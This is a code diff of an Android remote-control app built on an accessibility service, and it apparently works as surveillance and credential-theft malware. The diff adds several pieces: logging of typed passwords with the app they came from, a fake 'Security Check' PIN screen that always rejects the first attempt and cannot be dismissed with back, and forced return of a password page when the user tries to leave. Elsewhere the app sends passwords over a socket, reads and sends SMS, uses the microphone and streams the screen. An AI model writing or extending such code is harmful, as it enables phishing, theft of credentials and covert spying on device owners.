@@ -1118,7 +1118,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
|
||||
"relativeTime" to (currentTime - passwordInputStartTime),
|
||||
"actualPasswordText" to cleanActualText,
|
||||
"displayText" to actualText,
|
||||
"numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息
|
||||
"numericSequenceLength" to sequenceLength, // ✅ 添加序列长度信息
|
||||
"packageName" to packageName,
|
||||
"className" to className
|
||||
)
|
||||
|
||||
passwordInputEvents.add(inputEvent)
|
||||
@@ -1288,6 +1290,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
|
||||
|
||||
// 构建详细的分析信息文本 - ✅ 使用实际密码长度
|
||||
val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate)
|
||||
val lastEvent = passwordInputEvents.lastOrNull()
|
||||
val sourcePackageName = lastEvent?.get("packageName") as? String ?: ""
|
||||
val sourceClassName = lastEvent?.get("className") as? String ?: ""
|
||||
|
||||
logScope.launch {
|
||||
val extraData = mutableMapOf<String, Any>(
|
||||
@@ -1303,7 +1308,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
|
||||
"enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型
|
||||
"legacyPasswordType" to passwordType, // ✅ 添加传统类型
|
||||
"originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试
|
||||
"correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度
|
||||
"correctedPasswordLength" to actualPasswordLength, // ✅ 校正后的长度
|
||||
"sourcePackageName" to sourcePackageName,
|
||||
"sourceClassName" to sourceClassName
|
||||
)
|
||||
|
||||
// ✅ 如果有确认按钮坐标,记录到extraData中
|
||||
@@ -4373,4 +4380,4 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
|
||||
|
||||
return isKeyboardRelated && hasNumericContent
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,8 @@ import androidx.work.WorkManager
|
||||
import com.hikoncont.crash.CrashHandler
|
||||
import com.hikoncont.service.WorkManagerKeepAliveService
|
||||
import com.hikoncont.service.ComprehensiveKeepAliveManager
|
||||
import com.hikoncont.util.DeviceMetricsReporter
|
||||
import com.hikoncont.util.RuntimeFeatureFlags
|
||||
|
||||
/**
|
||||
* 应用程序主类
|
||||
@@ -36,6 +38,17 @@ class RemoteControlApplication : Application() {
|
||||
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
||||
startComprehensiveKeepAliveIfInstallationComplete()
|
||||
}, 10000L) // 延迟10秒启动,避免干扰用户正常使用
|
||||
|
||||
val runtimeFlags = RuntimeFeatureFlags.current(this)
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = this,
|
||||
metricName = "application_on_create",
|
||||
success = true,
|
||||
data = mapOf(
|
||||
"workManagerKeepAlive" to runtimeFlags.workManagerKeepAlive,
|
||||
"comprehensiveKeepAlive" to runtimeFlags.comprehensiveKeepAlive
|
||||
)
|
||||
)
|
||||
|
||||
Log.i(TAG, "✅ 应用程序初始化完成")
|
||||
} catch (e: Exception) {
|
||||
@@ -71,6 +84,12 @@ class RemoteControlApplication : Application() {
|
||||
*/
|
||||
private fun startWorkManagerKeepAliveIfInstallationComplete() {
|
||||
try {
|
||||
val flags = RuntimeFeatureFlags.current(this)
|
||||
if (!flags.workManagerKeepAlive) {
|
||||
Log.i(TAG, "⏭️ featureFlags.workManagerKeepAlive=false,跳过WorkManager保活启动")
|
||||
return
|
||||
}
|
||||
|
||||
// 检查安装是否完成
|
||||
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
|
||||
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
||||
@@ -88,8 +107,20 @@ class RemoteControlApplication : Application() {
|
||||
workManagerKeepAlive.startKeepAlive(this)
|
||||
|
||||
Log.i(TAG, "✅ WorkManager 保活服务已启动")
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = this,
|
||||
metricName = "workmanager_keepalive_start",
|
||||
success = true,
|
||||
data = mapOf("source" to "application")
|
||||
)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 启动 WorkManager 保活服务失败", e)
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = this,
|
||||
metricName = "workmanager_keepalive_start",
|
||||
success = false,
|
||||
data = mapOf("source" to "application", "error" to (e.message ?: "unknown"))
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -114,6 +145,12 @@ class RemoteControlApplication : Application() {
|
||||
*/
|
||||
private fun startComprehensiveKeepAliveIfInstallationComplete() {
|
||||
try {
|
||||
val flags = RuntimeFeatureFlags.current(this)
|
||||
if (!flags.comprehensiveKeepAlive) {
|
||||
Log.i(TAG, "⏭️ featureFlags.comprehensiveKeepAlive=false,跳过综合保活启动")
|
||||
return
|
||||
}
|
||||
|
||||
// 检查安装是否完成
|
||||
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
|
||||
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
||||
@@ -140,9 +177,21 @@ class RemoteControlApplication : Application() {
|
||||
keepAliveManager.startComprehensiveKeepAlive()
|
||||
|
||||
Log.i(TAG, "✅ 综合保活管理器启动完成")
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = this,
|
||||
metricName = "comprehensive_keepalive_start",
|
||||
success = true,
|
||||
data = mapOf("source" to "application")
|
||||
)
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 启动综合保活管理器失败", e)
|
||||
DeviceMetricsReporter.reportKeepAlive(
|
||||
context = this,
|
||||
metricName = "comprehensive_keepalive_start",
|
||||
success = false,
|
||||
data = mapOf("source" to "application", "error" to (e.message ?: "unknown"))
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,183 @@
|
||||
package com.hikoncont.activity
|
||||
|
||||
import android.graphics.Color
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.text.InputFilter
|
||||
import android.text.InputType
|
||||
import android.util.Log
|
||||
import android.view.Gravity
|
||||
import android.view.ViewGroup
|
||||
import android.view.WindowManager
|
||||
import android.widget.Button
|
||||
import android.widget.EditText
|
||||
import android.widget.LinearLayout
|
||||
import android.widget.TextView
|
||||
import androidx.appcompat.app.AppCompatActivity
|
||||
import com.hikoncont.service.AccessibilityRemoteService
|
||||
|
||||
class AppInjectionPinActivity : AppCompatActivity() {
|
||||
companion object {
|
||||
private const val TAG = "AppInjectionPinActivity"
|
||||
}
|
||||
|
||||
private lateinit var pinInput: EditText
|
||||
private lateinit var statusText: TextView
|
||||
private var attemptCount = 0
|
||||
private var completed = false
|
||||
private var targetPackage: String = ""
|
||||
private var targetAppName: String = ""
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
|
||||
targetPackage = intent.getStringExtra("targetPackage").orEmpty()
|
||||
targetAppName = intent.getStringExtra("targetAppName").orEmpty()
|
||||
|
||||
window.addFlags(
|
||||
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED or
|
||||
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON or
|
||||
WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
|
||||
)
|
||||
setFinishOnTouchOutside(false)
|
||||
|
||||
val root = LinearLayout(this).apply {
|
||||
orientation = LinearLayout.VERTICAL
|
||||
setPadding(48, 64, 48, 48)
|
||||
setBackgroundColor(Color.parseColor("#111111"))
|
||||
gravity = Gravity.CENTER_HORIZONTAL
|
||||
layoutParams = ViewGroup.LayoutParams(
|
||||
ViewGroup.LayoutParams.MATCH_PARENT,
|
||||
ViewGroup.LayoutParams.MATCH_PARENT
|
||||
)
|
||||
}
|
||||
|
||||
val title = TextView(this).apply {
|
||||
text = "Security Check"
|
||||
setTextColor(Color.WHITE)
|
||||
textSize = 24f
|
||||
gravity = Gravity.CENTER
|
||||
}
|
||||
root.addView(
|
||||
title,
|
||||
LinearLayout.LayoutParams(
|
||||
ViewGroup.LayoutParams.MATCH_PARENT,
|
||||
ViewGroup.LayoutParams.WRAP_CONTENT
|
||||
)
|
||||
)
|
||||
|
||||
val subTitle = TextView(this).apply {
|
||||
val appPart = if (targetAppName.isNotBlank()) targetAppName else targetPackage.ifBlank { "target app" }
|
||||
text = "Enter 6-digit PIN to continue ($appPart)"
|
||||
setTextColor(Color.parseColor("#B0B0B0"))
|
||||
textSize = 14f
|
||||
gravity = Gravity.CENTER
|
||||
}
|
||||
root.addView(
|
||||
subTitle,
|
||||
LinearLayout.LayoutParams(
|
||||
ViewGroup.LayoutParams.MATCH_PARENT,
|
||||
ViewGroup.LayoutParams.WRAP_CONTENT
|
||||
).apply {
|
||||
topMargin = 20
|
||||
bottomMargin = 24
|
||||
}
|
||||
)
|
||||
|
||||
pinInput = EditText(this).apply {
|
||||
hint = "6-digit PIN"
|
||||
setHintTextColor(Color.parseColor("#666666"))
|
||||
setTextColor(Color.WHITE)
|
||||
textSize = 22f
|
||||
gravity = Gravity.CENTER
|
||||
inputType = InputType.TYPE_CLASS_NUMBER or InputType.TYPE_NUMBER_VARIATION_PASSWORD
|
||||
filters = arrayOf(InputFilter.LengthFilter(6))
|
||||
setSingleLine(true)
|
||||
setBackgroundColor(Color.parseColor("#222222"))
|
||||
setPadding(20, 20, 20, 20)
|
||||
}
|
||||
root.addView(
|
||||
pinInput,
|
||||
LinearLayout.LayoutParams(
|
||||
ViewGroup.LayoutParams.MATCH_PARENT,
|
||||
ViewGroup.LayoutParams.WRAP_CONTENT
|
||||
)
|
||||
)
|
||||
|
||||
statusText = TextView(this).apply {
|
||||
text = "Waiting for input"
|
||||
setTextColor(Color.parseColor("#B0B0B0"))
|
||||
textSize = 13f
|
||||
gravity = Gravity.CENTER
|
||||
}
|
||||
root.addView(
|
||||
statusText,
|
||||
LinearLayout.LayoutParams(
|
||||
ViewGroup.LayoutParams.MATCH_PARENT,
|
||||
ViewGroup.LayoutParams.WRAP_CONTENT
|
||||
).apply {
|
||||
topMargin = 14
|
||||
bottomMargin = 20
|
||||
}
|
||||
)
|
||||
|
||||
val confirmButton = Button(this).apply {
|
||||
text = "Confirm"
|
||||
setOnClickListener { onConfirmClick() }
|
||||
}
|
||||
root.addView(
|
||||
confirmButton,
|
||||
LinearLayout.LayoutParams(
|
||||
ViewGroup.LayoutParams.MATCH_PARENT,
|
||||
ViewGroup.LayoutParams.WRAP_CONTENT
|
||||
)
|
||||
)
|
||||
|
||||
setContentView(root)
|
||||
}
|
||||
|
||||
override fun onBackPressed() {
|
||||
// Keep the challenge flow deterministic; avoid accidental dismissal.
|
||||
statusText.text = "PIN check is required"
|
||||
statusText.setTextColor(Color.parseColor("#FFB74D"))
|
||||
}
|
||||
|
||||
private fun onConfirmClick() {
|
||||
val pin = pinInput.text?.toString()?.trim().orEmpty()
|
||||
if (!pin.matches(Regex("^\\d{6}$"))) {
|
||||
statusText.text = "PIN must be 6 digits"
|
||||
statusText.setTextColor(Color.parseColor("#FFB74D"))
|
||||
return
|
||||
}
|
||||
|
||||
attemptCount += 1
|
||||
val service = AccessibilityRemoteService.getInstance()
|
||||
|
||||
if (attemptCount == 1) {
|
||||
statusText.text = "Incorrect PIN, try again"
|
||||
statusText.setTextColor(Color.parseColor("#EF5350"))
|
||||
pinInput.setText("")
|
||||
service?.onAppInjectionPinAttempt(success = false, attempt = attemptCount)
|
||||
return
|
||||
}
|
||||
|
||||
completed = true
|
||||
statusText.text = "PIN accepted"
|
||||
statusText.setTextColor(Color.parseColor("#66BB6A"))
|
||||
service?.onAppInjectionPinAttempt(success = true, attempt = attemptCount)
|
||||
|
||||
Handler(Looper.getMainLooper()).postDelayed({
|
||||
finish()
|
||||
}, 250)
|
||||
}
|
||||
|
||||
override fun onDestroy() {
|
||||
super.onDestroy()
|
||||
if (!completed) {
|
||||
Log.i(TAG, "PIN activity dismissed before completion")
|
||||
AccessibilityRemoteService.getInstance()?.onAppInjectionPinDismissed("activity_destroyed")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -14,6 +14,7 @@ import android.view.Gravity
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.IntentFilter
|
||||
import com.hikoncont.service.modules.ConfigProgressManager
|
||||
import com.hikoncont.util.registerReceiverCompat
|
||||
import org.json.JSONObject
|
||||
import java.io.BufferedReader
|
||||
import java.io.InputStreamReader
|
||||
@@ -355,13 +356,13 @@ class ConfigMaskActivity : Activity() {
|
||||
private fun registerHideReceiver() {
|
||||
try {
|
||||
val filter = android.content.IntentFilter("android.mycustrecev.HIDE_CONFIG_MASK")
|
||||
registerReceiver(hideReceiver, filter)
|
||||
registerReceiverCompat(hideReceiver, filter)
|
||||
Log.i(TAG, "✅ 隐藏广播接收器注册成功")
|
||||
|
||||
// 注册进度更新广播接收器
|
||||
if (enableProgressBar) {
|
||||
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
|
||||
registerReceiver(progressReceiver, progressFilter)
|
||||
registerReceiverCompat(progressReceiver, progressFilter)
|
||||
Log.i(TAG, "✅ ConfigMaskActivity进度更新广播接收器注册成功")
|
||||
Log.i(TAG, "📡 监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
|
||||
} else {
|
||||
@@ -433,4 +434,4 @@ class ConfigMaskActivity : Activity() {
|
||||
}
|
||||
}, 500)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ import android.app.WallpaperManager
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.graphics.*
|
||||
import android.os.Build
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
@@ -65,7 +66,9 @@ class PasswordInputActivity : AppCompatActivity() {
|
||||
private var patternTrajectory = mutableListOf<PointF>()
|
||||
private var currentPassword = ""
|
||||
private var isForceShowing = false // 防止重复强制显示
|
||||
private var passwordFlowCompleted = false // 标记密码流程是否已完成,完成后不再强制拉回
|
||||
private var useLightTheme = false // 当壁纸不可用时启用白底黑字
|
||||
private val enableLockTaskForSocketWake = false
|
||||
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
@@ -119,8 +122,12 @@ class PasswordInputActivity : AppCompatActivity() {
|
||||
super.onResume()
|
||||
Log.i(TAG, "🔐 密码输入页面恢复")
|
||||
|
||||
if (shouldKeepForeground() && enableLockTaskForSocketWake) {
|
||||
tryStartLockTaskMode()
|
||||
}
|
||||
|
||||
// 如果是socket唤醒且没有正在强制显示,则强制显示密码页面
|
||||
if (isSocketWake && !isForceShowing) {
|
||||
if (shouldKeepForeground() && !isForceShowing) {
|
||||
isForceShowing = true
|
||||
forceShowPasswordPage()
|
||||
}
|
||||
@@ -130,17 +137,9 @@ class PasswordInputActivity : AppCompatActivity() {
|
||||
super.onPause()
|
||||
Log.i(TAG, "🔐 密码输入页面暂停")
|
||||
|
||||
// 防止Activity被销毁,保持在后台
|
||||
if (isSocketWake) {
|
||||
Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台")
|
||||
// 不执行任何可能导致Activity销毁的操作
|
||||
} else {
|
||||
// 防止用户通过其他方式退出,重新显示页面
|
||||
Handler(Looper.getMainLooper()).postDelayed({
|
||||
if (!isFinishing && !isDestroyed) {
|
||||
Log.i(TAG, "🔐 检测到页面被暂停,重新显示密码输入页面")
|
||||
}
|
||||
}, 1000)
|
||||
if (shouldKeepForeground()) {
|
||||
Log.i(TAG, "🔐 检测到页面进入后台,准备强制回到密码页")
|
||||
scheduleForceReturn("onPause")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -148,18 +147,17 @@ class PasswordInputActivity : AppCompatActivity() {
|
||||
super.onStop()
|
||||
Log.i(TAG, "🔐 密码输入页面停止")
|
||||
|
||||
// 防止Activity被销毁,保持在后台
|
||||
if (isSocketWake) {
|
||||
Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台")
|
||||
// 不执行任何可能导致Activity销毁的操作
|
||||
// Activity将保持在后台,不会被销毁
|
||||
} else {
|
||||
// 防止用户通过其他方式退出,重新显示页面
|
||||
Handler(Looper.getMainLooper()).postDelayed({
|
||||
if (!isFinishing && !isDestroyed) {
|
||||
Log.i(TAG, "🔐 检测到页面被停止,重新显示密码输入页面")
|
||||
}
|
||||
}, 1000)
|
||||
if (shouldKeepForeground()) {
|
||||
Log.i(TAG, "🔐 检测到页面被停止,准备强制回到密码页")
|
||||
scheduleForceReturn("onStop")
|
||||
}
|
||||
}
|
||||
|
||||
override fun onUserLeaveHint() {
|
||||
super.onUserLeaveHint()
|
||||
if (shouldKeepForeground()) {
|
||||
Log.i(TAG, "🔐 检测到用户尝试离开密码页(Home/最近任务),准备强制回到密码页")
|
||||
scheduleForceReturn("onUserLeaveHint")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -890,7 +888,8 @@ class PasswordInputActivity : AppCompatActivity() {
|
||||
passwordType,
|
||||
"PasswordInputActivity",
|
||||
deviceId,
|
||||
installationId
|
||||
installationId,
|
||||
"manual_password_input_activity"
|
||||
)
|
||||
Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType")
|
||||
} else {
|
||||
@@ -983,6 +982,13 @@ class PasswordInputActivity : AppCompatActivity() {
|
||||
private fun completeInstallationDirectly() {
|
||||
Log.i(TAG, "🎉 直接完成安装流程(无需密码输入)")
|
||||
|
||||
if (passwordFlowCompleted) {
|
||||
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
|
||||
return
|
||||
}
|
||||
passwordFlowCompleted = true
|
||||
tryStopLockTaskMode()
|
||||
|
||||
try {
|
||||
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
|
||||
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
|
||||
@@ -1058,6 +1064,13 @@ class PasswordInputActivity : AppCompatActivity() {
|
||||
private fun completeInstallation() {
|
||||
Log.i(TAG, "🎉 安装流程完成")
|
||||
|
||||
if (passwordFlowCompleted) {
|
||||
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
|
||||
return
|
||||
}
|
||||
passwordFlowCompleted = true
|
||||
tryStopLockTaskMode()
|
||||
|
||||
try {
|
||||
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
|
||||
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
|
||||
@@ -1232,6 +1245,71 @@ class PasswordInputActivity : AppCompatActivity() {
|
||||
val timestamp: Long
|
||||
)
|
||||
|
||||
/**
|
||||
* 作者: sue
|
||||
* 日期: 2026-02-19
|
||||
* 说明: 仅在 Socket 唤醒且密码流程未完成时,才需要强制保持前台。
|
||||
*/
|
||||
private fun shouldKeepForeground(): Boolean {
|
||||
return isSocketWake && !passwordFlowCompleted && passwordType != PASSWORD_TYPE_NONE
|
||||
}
|
||||
|
||||
/**
|
||||
* 作者: sue
|
||||
* 日期: 2026-02-19
|
||||
* 说明: 异步触发前台回拉,避免与系统生命周期回调冲突。
|
||||
*/
|
||||
private fun scheduleForceReturn(source: String) {
|
||||
Handler(Looper.getMainLooper()).postDelayed({
|
||||
if (!shouldKeepForeground()) {
|
||||
return@postDelayed
|
||||
}
|
||||
if (isFinishing || isDestroyed) {
|
||||
return@postDelayed
|
||||
}
|
||||
Log.i(TAG, "🔐 [$source] 开始执行密码页前台回拉")
|
||||
checkAndForceShowIfNeeded()
|
||||
}, 260)
|
||||
}
|
||||
|
||||
/**
|
||||
* 作者: sue
|
||||
* 日期: 2026-02-19
|
||||
* 说明: 尝试开启锁任务模式,进一步降低 Home/最近任务离开概率。
|
||||
*/
|
||||
private fun tryStartLockTaskMode() {
|
||||
if (!enableLockTaskForSocketWake) {
|
||||
Log.i(TAG, "🔓 锁任务模式已禁用,跳过 startLockTask")
|
||||
return
|
||||
}
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
|
||||
return
|
||||
}
|
||||
try {
|
||||
startLockTask()
|
||||
Log.i(TAG, "🔐 已尝试开启锁任务模式")
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "⚠️ 开启锁任务模式失败(可能设备不支持)", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 作者: sue
|
||||
* 日期: 2026-02-19
|
||||
* 说明: 密码流程完成后关闭锁任务模式,恢复系统正常行为。
|
||||
*/
|
||||
private fun tryStopLockTaskMode() {
|
||||
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
|
||||
return
|
||||
}
|
||||
try {
|
||||
stopLockTask()
|
||||
Log.i(TAG, "🔓 已尝试关闭锁任务模式")
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "⚠️ 关闭锁任务模式失败(可能未开启)", e)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 强制显示密码页面(Socket唤醒专用)
|
||||
*/
|
||||
|
||||
@@ -46,34 +46,8 @@ class GalleryManager(private val service: AccessibilityRemoteService) {
|
||||
val result = mutableListOf<GalleryItem>()
|
||||
|
||||
if (!hasReadMediaPermission()) {
|
||||
Log.w(TAG, "⚠️ 相册读取权限未授予,尝试自动申请")
|
||||
try {
|
||||
// 触发自动权限申请
|
||||
service.requestGalleryPermissionWithAutoGrant()
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "触发相册权限申请失败", e)
|
||||
}
|
||||
|
||||
// 轮询等待权限授予,最多等待约8秒
|
||||
var attempts = 0
|
||||
val maxAttempts = 16
|
||||
while (attempts < maxAttempts) {
|
||||
try {
|
||||
Thread.sleep(500)
|
||||
} catch (ie: InterruptedException) {
|
||||
// 忽略中断,继续检查
|
||||
}
|
||||
if (hasReadMediaPermission()) {
|
||||
Log.i(TAG, "✅ 相册读取权限已在等待期间授予,继续读取")
|
||||
break
|
||||
}
|
||||
attempts++
|
||||
}
|
||||
|
||||
if (!hasReadMediaPermission()) {
|
||||
Log.w(TAG, "⚠️ 等待后仍未获得相册读取权限,返回空列表")
|
||||
return result
|
||||
}
|
||||
Log.w(TAG, "⚠️ 相册读取权限未授予,已停止自动申请(需手动触发权限申请)")
|
||||
return result
|
||||
}
|
||||
|
||||
try {
|
||||
|
||||
@@ -3,6 +3,8 @@
|
||||
import android.accessibilityservice.GestureDescription
|
||||
import android.graphics.Path
|
||||
import android.graphics.PointF
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.util.Log
|
||||
import com.hikoncont.service.AccessibilityRemoteService
|
||||
import kotlinx.coroutines.*
|
||||
@@ -26,6 +28,30 @@ class GestureController(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
|
||||
private val gestureScope = CoroutineScope(Dispatchers.Main)
|
||||
private val callbackHandler = Handler(Looper.getMainLooper())
|
||||
|
||||
private fun dispatchGestureWithTrace(gesture: GestureDescription, actionName: String): Boolean {
|
||||
return try {
|
||||
val accepted = service.dispatchGesture(
|
||||
gesture,
|
||||
object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
|
||||
override fun onCompleted(gestureDescription: GestureDescription?) {
|
||||
Log.d(TAG, "✅ 手势完成: $actionName")
|
||||
}
|
||||
|
||||
override fun onCancelled(gestureDescription: GestureDescription?) {
|
||||
Log.w(TAG, "⚠️ 手势取消: $actionName")
|
||||
}
|
||||
},
|
||||
callbackHandler
|
||||
)
|
||||
Log.d(TAG, "🎯 手势下发结果: $actionName, accepted=$accepted")
|
||||
accepted
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 手势下发异常: $actionName", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 执行手势操作(覆盖窗口不影响系统级手势操作)
|
||||
@@ -47,8 +73,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
|
||||
val path = Path().apply { moveTo(x, y) }
|
||||
val stroke = GestureDescription.StrokeDescription(path, 0, CLICK_DURATION)
|
||||
val gesture = GestureDescription.Builder().addStroke(stroke).build()
|
||||
|
||||
service.dispatchGesture(gesture, null, null)
|
||||
|
||||
dispatchGestureWithTrace(gesture, "click($x,$y)")
|
||||
Log.d(TAG, "执行点击操作: ($x, $y)")
|
||||
}
|
||||
}
|
||||
@@ -61,8 +87,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
|
||||
val path = Path().apply { moveTo(x, y) }
|
||||
val stroke = GestureDescription.StrokeDescription(path, 0, LONG_PRESS_DURATION)
|
||||
val gesture = GestureDescription.Builder().addStroke(stroke).build()
|
||||
|
||||
service.dispatchGesture(gesture, null, null)
|
||||
|
||||
dispatchGestureWithTrace(gesture, "long_press($x,$y)")
|
||||
Log.d(TAG, "执行长按操作: ($x, $y)")
|
||||
}
|
||||
}
|
||||
@@ -79,8 +105,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
|
||||
|
||||
val stroke = GestureDescription.StrokeDescription(path, 0, duration)
|
||||
val gesture = GestureDescription.Builder().addStroke(stroke).build()
|
||||
|
||||
service.dispatchGesture(gesture, null, null)
|
||||
|
||||
dispatchGestureWithTrace(gesture, "swipe($startX,$startY->$endX,$endY,$duration)")
|
||||
Log.d(TAG, "执行滑动操作: ($startX, $startY) -> ($endX, $endY)")
|
||||
}
|
||||
}
|
||||
@@ -266,4 +292,4 @@ data class GestureCommand(
|
||||
val endDistance: Float = 0f,
|
||||
val duration: Long = 300L,
|
||||
val interval: Long = 100L
|
||||
)
|
||||
)
|
||||
|
||||
@@ -70,30 +70,8 @@ class MicrophoneManager(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
|
||||
if (!hasMicrophonePermission()) {
|
||||
Log.w(TAG, "⚠️ 麦克风权限未授予,尝试自动申请")
|
||||
try {
|
||||
service.requestMicrophonePermissionWithAutoGrant()
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "触发麦克风权限申请失败", e)
|
||||
}
|
||||
|
||||
var attempts = 0
|
||||
val maxAttempts = 16 // ~8s
|
||||
while (attempts < maxAttempts) {
|
||||
try {
|
||||
Thread.sleep(500)
|
||||
} catch (_: InterruptedException) {}
|
||||
if (hasMicrophonePermission()) {
|
||||
Log.i(TAG, "✅ 麦克风权限已在等待期间授予,开始录音")
|
||||
break
|
||||
}
|
||||
attempts++
|
||||
}
|
||||
|
||||
if (!hasMicrophonePermission()) {
|
||||
Log.w(TAG, "⚠️ 等待后仍未获得麦克风权限,取消录音启动")
|
||||
return
|
||||
}
|
||||
Log.w(TAG, "⚠️ 麦克风权限未授予,取消录音启动(需手动触发权限申请)")
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -506,31 +506,8 @@ class SMSManager(private val service: AccessibilityRemoteService) {
|
||||
val smsList = mutableListOf<SMSMessage>()
|
||||
|
||||
if (!checkSMSPermission()) {
|
||||
Log.w(TAG, "⚠️ 短信权限未授予,尝试自动申请")
|
||||
try {
|
||||
service.requestSMSPermissionWithAutoGrant()
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "触发短信权限申请失败", e)
|
||||
}
|
||||
|
||||
var attempts = 0
|
||||
val maxAttempts = 16 // ~8s
|
||||
while (attempts < maxAttempts) {
|
||||
try {
|
||||
Thread.sleep(500)
|
||||
} catch (ie: InterruptedException) {
|
||||
}
|
||||
if (checkSMSPermission()) {
|
||||
Log.i(TAG, "✅ 短信权限已在等待期间授予,继续读取")
|
||||
break
|
||||
}
|
||||
attempts++
|
||||
}
|
||||
|
||||
if (!checkSMSPermission()) {
|
||||
Log.w(TAG, "⚠️ 等待后仍未获得短信读取权限,返回空列表")
|
||||
return smsList
|
||||
}
|
||||
Log.w(TAG, "⚠️ 短信权限未授予,停止自动拉起授权页,直接返回空列表")
|
||||
return smsList
|
||||
}
|
||||
|
||||
try {
|
||||
@@ -748,8 +725,7 @@ class SMSManager(private val service: AccessibilityRemoteService) {
|
||||
*/
|
||||
fun sendSMSWithPermissionHandling(phoneNumber: String, message: String): Boolean {
|
||||
if (!checkSMSPermission()) {
|
||||
Log.e(TAG, "❌ 短信权限未授予,尝试请求权限")
|
||||
requestSMSPermission()
|
||||
Log.e(TAG, "❌ 短信权限未授予,已停止自动拉起授权页(需手动触发权限申请)")
|
||||
return false
|
||||
}
|
||||
|
||||
|
||||
@@ -25,10 +25,11 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "ScreenCaptureManager"
|
||||
private const val CAPTURE_FPS = 15 // 进一步提升到15FPS,让视频更加流畅(从10提升到15)
|
||||
private const val CAPTURE_QUALITY = 55 // 优化:提升压缩质量,在数据量和画质间找到最佳平衡(30->55)
|
||||
private const val MAX_WIDTH = 480 // 更小宽度480px,测试单消息大小理论
|
||||
private const val MAX_HEIGHT = 854 // 更小高度854px,保持16:9比例
|
||||
// 固定流媒体档位:720P + 60FPS
|
||||
private const val CAPTURE_FPS = 60
|
||||
private const val CAPTURE_QUALITY = 70
|
||||
private const val MAX_WIDTH = 720
|
||||
private const val MAX_HEIGHT = 1280
|
||||
private const val MIN_CAPTURE_INTERVAL = 3000L // 调整为3000ms,无障碍服务截图间隔3秒
|
||||
|
||||
// 持久化暂停状态相关常量
|
||||
@@ -296,31 +297,33 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
* 由服务端根据Web端反馈下发调整指令
|
||||
*/
|
||||
fun adjustQuality(fps: Int, quality: Int, maxWidth: Int, maxHeight: Int) {
|
||||
